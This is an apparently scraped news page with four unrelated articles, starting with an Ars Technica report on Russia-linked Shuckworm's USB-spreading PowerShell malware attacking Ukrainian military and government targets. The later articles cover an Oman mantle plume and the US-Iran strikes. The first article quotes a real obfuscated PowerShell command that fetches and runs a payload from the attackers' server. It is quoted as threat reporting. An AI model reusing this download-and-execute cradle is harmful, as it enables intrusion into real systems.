Connect with us

Published

on

LASER-FOCUSED — Russia-backed hackers unleash new USB-based malware on Ukraines military Shuckworm’s relentless attacks seek intel for use in Russia’s invasion of Ukraine.

Dan Goodin – Jun 15, 2023 10:30 am UTC EnlargeGetty Images reader comments 9 with

Hackers working for Russias Federal Security Service have mounted multiple cyberattacks that used USB-based malware to steal large amounts of data from Ukrainian targets for use in its ongoing invasion of its smaller neighbor, researchers said.

The sectors and nature of the organizations and machines targeted may have given the attackers access to significant amounts of sensitive information, researchers from Symantec, now owned by Broadcom, wrote in a Thursday post. There were indications in some organizations that the attackers were on the machines of the organizations human resources departments, indicating that information about individuals working at the various organizations was a priority for the attackers, among other things.

The group, which Symantec tracks as Shuckworm and other researchers call Gamaredon and Armageddon, has been active since 2014 and has been linked to Russias FSB, the principal security service in that country. The group focuses solely on obtaining intelligence on Ukrainian targets. In 2020, researchers at security firm SentinelOne said the hacking group had attacked over 5,000 individual entities across the Ukraine, with particular focus on areas where Ukrainian troops are deployed.

In February, Shuckworm began deploying new malware and command-and-control infrastructure that has successfully penetrated the defenses of multiple Ukrainian organizations in the military, security services, and government of that country. Group members seem most interested in obtaining information related to sensitive military information that could be abused in Russias ongoing invasion.

This newer campaign debuted new malware in the form of a PowerShell script that spreads Pterodo, a Shuckworm-created backdoor. The script activates when infected USB drives are connected to targeted computers. The malicious script first copies itself onto the targeted machine to create a shortcut file with the extension rtf.lnk. The files have names such as video_porn.rtf.lnk, do_not_delete.rtf.lnk, and evidence.rtf.lnk. The names, which are mostly in the Ukrainian language, are an attempt to entice targets to open the files so they will install Pterodo on machines. Advertisement

The script goes on to enumerate all drives connected to the targeted computer and to copy itself to all attached removable drives, most likely in hopes of infecting any air-gapped devices, which are intentionally not connected to the Internet in an attempt to prevent them from being hacked.

To cover its tracks, Shuckworm has created dozens of variants and rapidly rotated the IP addresses and infrastructure it uses for command and control. The group also uses legitimate services such as Telegram and its micro-blogging platform Telegraph for command and control in another attempt to avoid detection.

Shuckworm typically uses phishing emails as an initial vector into targets computers. The emails contain malicious attachments that masquerade as files with extensions, including .docx, .rar, .sfx, lnk, and hta. Emails often use topics such as armed conflicts, criminal proceedings, combating crime, and protecting children as lures to get targets to open the emails and click on the attachments.

Symantec researchers said that an infected computer they recovered in the campaign was typical for the way it works. They wrote: In one victim, the first sign of malicious activity was when the user appeared to open a RAR archive file that was likely delivered via a spear-phishing email and which contained a malicious Document.

After the document was opened, a malicious PowerShell command was observed being executed to download the next-stage payload from the attackers C&C server:

“CSIDL_SYSTEMcmd.exe” /c start /min “” powershell -w hidden
“$gt=’/get.’+[char](56+56)+[char](104)+[char](112);$hosta=[char](50+4
8);[system.net.servicepointmanager]::servercertificatevalidationcallb
ack={$true};$hosta+=’.vafikgo.’;$hosta+=[char](57+57);$hosta+=[char](
60+57);$addrs=[system.net.dns]::gethostbyname($hosta);$addr=$addrs.ad
dresslist[0];$client=(new-object
net.webclient);$faddr=’htt’+’ps://’+$addr+$gt;$text=$client.downloads
tring($faddr);iex $text”

More recently, Symantec has observed Shuckworm leveraging more IP addresses in their PowerShell scripts. This is likely an attempt to evade some tracking methods employed by researchers.

Shuckworm also continues to update the obfuscation techniques used in its PowerShell scripts in an attempt to avoid detection, with up to 25 new variants of the groups scripts observed per month between January and April 2023.

Thursdays post includes IP addresses, hashes, file names, and other indicators of compromise people can use to detect if they have been targeted. The post also warns that the group poses a threat that targets should take seriously.

This activity demonstrates that Shuckworms relentless focus on Ukraine continues, they wrote. It seems clear that Russian nation-state-backed attack groups continue to laser in on Ukrainian targets in attempts to find data that may potentially help their military operations. reader comments 9 with Dan Goodin Dan Goodin is Senior Security Editor at Ars Technica, where he oversees coverage of malware, computer espionage, botnets, hardware hacking, encryption, and passwords. In his spare time, he enjoys gardening, cooking, and following the independent music scene. Advertisement Channel Ars Technica ← Previous story Next story → Related Stories Today on Ars

Continue Reading

Science

‘Ghost’ Plume Found Beneath Oman May Explain India’s Ancient Tectonic Shift

Published

on

By

‘Ghost’ Plume Found Beneath Oman May Explain India’s Ancient Tectonic Shift

A long-hidden plume of magma beneath Oman’s Salma Plateau may have played a surprising role in shaping the Indian subcontinent’s ancient journey, researchers report. This “ghost” plume — hot material trapped beneath Earth’s thick crust — cannot erupt but may have shifted the Indian tectonic plate’s course during its dramatic collision with Eurasia tens of millions of years ago. First detailed in the journal Earth and Planetary Science Letters, the finding reveals a new class of deep mantle plumes that shape continents silently, without the typical signature of surface volcanoes.

Hidden ‘Ghost’ Plume Beneath Oman May Have Steered India’s Collision Path with Eurasia

As per a Live Science report, the plume was detected using seismic data from Oman’s dense sensor network. Under the leadership of geophysicist Simone Pilia, the group discovered that the plume altered the way sound waves moved through Earth’s layers, which in turn pointed to its presence. Unlike most mantle plumes, which rise and erupt through the oceanic plates, Dani is amagmatic and does not create surface eruptions because of the thick continental crust above the plume. This finding means that there may potentially be many hidden plumes lurking beneath continents.

The Dani plume is the first such non-eruptive plume beneath a continental plate, which is broadening scientists’ view of how mantle dynamics unfold out of sight. The researchers also calculated the movement of the Indian plate and found that it took a significant turn between 40 and 25 million years ago, which might have been affected by the shear stress created by the plume. The plume’s effects on topography are expected to be small regionally, but its geological role could be relatively large.

While plumes typically leave a visible volcanic trail—like Hawaii’s island chain—the Dani plume’s evidence may have been erased by subduction activity in the nearby Makran zone. Still, researchers say this finding opens the door to discovering more “ghost” plumes, particularly in regions with similar thick crusts, such as Africa. As seismic technologies advance, more silent subterranean forces shaping Earth’s history may come to light.

Continue Reading

World

Iran says it’s carried out ‘mighty and successful’ attack on US base – as Qatar air defences ‘thwart assault’

Published

on

By

Iran says it's carried out 'mighty and successful' attack on US base - as Qatar air defences 'thwart assault'

Iran claims it has carried out a “mighty and successful response” to “America’s aggression” after launching missile attacks on a US military base in Qatar and Iraq.

The attack comes after the US dropped “bunker buster bombs” on three key nuclear sites in Iran over the weekend.

Iran’s response this evening is the latest escalation in tensions in the volatile region.

Qatar has said there were no casualties at the al Udeid base following the strikes and that its “air defences thwarted the attack and successfully intercepted the Iranian missiles”.

People in Qatar’s capital, Doha, had stopped and gazed up at the sky as missiles flew and interceptors fired.

Follow latest: Iran attacks US bases

Iran had announced on state television that it had attacked American forces stationed at the al Udeid airbase.

More from World

A caption on screen called it “a mighty and successful response” to “America’s aggression” as martial music played.

Please use Chrome browser for a more accessible video player

Iran releases video after attack on US base

Initial reports claimed Iran had also targeted a base housing US troops in western Iraq, but a US military official later told Reuters news agency the attack in Qatar was the only one detected.

A US government official said the White House and US defence department was “closely monitoring” the potential threats to its base.

Meanwhile, US President Donald Trump was in the Situation Room in the White House with his team following the Iranian strikes.

Traces are seen in the sky over Qatar after Iran's armed forces targeted the al Udeid base. Pic: Reuters
Image:
Traces are seen in the sky over Qatar after Iran’s armed forces targeted the al Udeid base. Pic: Reuters

He later said in a post on Truth Social that the missiles were a “very weak response”, which the US “expected” and “very effectively countered”.

He added: “Most importantly, they’ve gotten it all out of their ‘system,’ and there will, hopefully, be no further HATE.

“I want to thank Iran for giving us early notice, which made it possible for no lives to be lost, and nobody to be injured.

“Perhaps Iran can now proceed to Peace and Harmony in the Region, and I will enthusiastically encourage Israel to do the same.”

Iran’s Supreme Leader Ayatollah Ali Khamenei said in a post on X: “We have not violated anyone’s rights, nor will we ever accept anyone violating ours, and we will not surrender to anyone’s violation; this is the logic of the Iranian nation.”

Read more:
Israel-Iran conflict poses new cost of living threat
Why Iran might close a crucial waterway

Follow The World
Follow The World

Listen to The World with Richard Engel and Yalda Hakim every Wednesday

Tap to follow

The attacks came shortly after Qatar closed its airspace as a precaution amid threats from Iran.

Just before the explosions, Iranian president Masoud Pezeshkian wrote on the social platform X: “We neither initiated the war nor seeking it. But we will not leave invasion to the great Iran without answer.”

Kuwait and Bahrain briefly shut their airspaces after the attack, news agencies in each country reported.

Iraq also shut its airspace, while Oman Air suspended some flights in the region.

The Abu Dhabi-based Etihad Airways said it is rerouting several flights today and tomorrow due to restrictions in parts of the Middle East.

Continue Reading

World

US strikes: How much damage has been done to Iran’s nuclear facilities?

Published

on

By

US strikes: How much damage has been done to Iran's nuclear facilities?

Three of Iran’s key nuclear enrichment facilities – Fordow, Natanz and Isfahan – were targeted in US airstrikes on 22 June.

The prime target of the attacks was Iran’s most advanced facility at Fordow, suspected of being used to enrich uranium close to what’s needed for a nuclear bomb.

Satellite images from the aftermath of the US strikes suggest at least six bombs were dropped there.

Satellite imagery of Fordow after the US bombing. Credit: Maxar
Image:
Satellite imagery of Fordow after the US bombing. Pic: Maxar Technologies

The secure nuclear facility, home to Iran’s main enrichment site, is buried deep under a mountain.

So exactly how much damage was done is unknown, perhaps even to Iran, which appears to have evacuated the site. The specific location of the strikes and the bombs used gives us an indication.

America used the 30,000-lb Massive Ordnance Penetrator bomb, or a GBU-57 – commonly known as a “bunker buster”.

The bunker buster is the only missile that had a chance of destroying the Fordow facility, and American planes were needed for them to be used.

More on Iran

Blueprints from Iran’s Nuclear Archive, which date from before 2004 and were seized by Israeli spies in 2018, suggest the bombs targeted the tunnels under the Fordow site.

Blueprints of the Fordow Fuel Enrichment Plant show tunnels running through the mountain. Pic: Google Earth
Image:
Blueprints of the Fordow Fuel Enrichment Plant suggest tunnels run through the mountain. Pic: Google Earth

The access tunnels overground lead to a 250 metre long hall which is thought to contain the uranium enrichment centrifuges, and well as the location of what is thought to be ventilation shafts.

Iran is thought to have likely moved any enriched uranium from the facility before the strikes occurred. But if the ventilation shafts were hit, that would allow the bombs to penetrate as far as possible and hit the centrifuge hall itself.

Iran’s major nuclear facilities seriously damaged, if not completely destroyed


Photo of Tom Clarke

Tom Clarke

Science and technology editor

@t0mclark3

The loss of industrial-scale centrifuge “cascades” used to enrich uranium will certainly derail any imminent deadlines in weaponisation the Islamic Republic may have set itself – more on that below.

But it has already amassed a sizeable stockpile of highly enriched uranium and may even have already enriched some of it to the 90% or so needed to make fissile material necessary for a bomb.

And despite strikes on industrial scale facilities that have taken decades to generate that stockpile, the material itself weighs less than half a tonne.

Moving it, splitting it up, concealing it, is not beyond the wit of a nation that expected these assaults may be coming.

Iran’s nuclear programme is also more than its large-scale facilities. Iran has been developing nuclear expertise and industrial processes for decades. It would take more than a concerted bombing campaign to wipe that out.

The final steps to “weaponise” highly enriched uranium are technically challenging, but Iran was known to be working on them more than 20 years ago.

Iran also does not require industrial-scale facilities like those needed to enrich uranium, meaning they could be more easily concealed in a network of smaller, discrete lab-sized buildings.

But what’s far from clear is whether Iran had actually taken steps towards weaponisation in recent years.

Recent US intelligence assessments indicated that it hadn’t. Iran’s leaders knew that very significant moves towards making a bomb would be seen as a major escalation by its neighbours and the international community.

For a long time, a key deterrent to Iran developing a nuclear weapon has been an internal political one.

It’s possible of course that position may have been shifting and these latest strikes were designed to disarm a rapidly weaponising Iran.

But it’s also possible the attacks on its nuclear programme may be forcing a previously tentative government to push harder towards making a nuclear bomb.

Fordow is only one of three nuclear facilities targeted in America’s strike, however, and one of seven that have been targeted since the conflict began.

Natanz’s uranium enrichment facility, about 140 km south of Fordow, had been subject to multiple Israeli strikes before America’s advance.

Israeli raids targeted surface buildings, including stores of enriched uranium. However, post-strike radiation monitoring suggested there was little, if any, nuclear material there.

At the weekend, Americans dropped bunker-buster bombs there too, targeting thousands of enrichment centrifuges operating in bunkers below.

Pic: Maxar Technologies
Image:
Destruction at the Natanz Enrichment Complex from satellite imagery. Pic: Maxar Technologies

Then there is the Isfahan complex. Again, Israeli missiles destroyed a number of buildings there last week. And at the weekend, US cruise missiles targeted others, including the uranium conversion plant.

At the weekend, Americans also dropped bunker-buster bombs there, targeting thousands of enrichment centrifuges operating in bunkers below.

Esfahan facility. Pic: Maxar Technologies
Image:
Satellite imagery shows the impact on the Isfahan Nuclear Complex. facility. Pic: Maxar Technologies

Speaking from the White House after the attacks, Donald Trump said facilities had been “completely and totally obliterated”. But experts suggest it could take more to destroy it entirely.

“This is a very well-developed, long-standing programme with a lot of latent expertise in the country,” said Darya Dolzikova, a proliferation and nuclear security expert at RUSI, a UK defence and security thinktank

“I don’t think we’re talking about a full elimination at this point, certainly not by military means.”

The Data and Forensics team is a multi-skilled unit dedicated to providing transparent journalism from Sky News. We gather, analyse and visualise data to tell data-driven stories. We combine traditional reporting skills with advanced analysis of satellite images, social media and other open source information. Through multimedia storytelling we aim to better explain the world while also showing how our journalism is done.

Continue Reading

Trending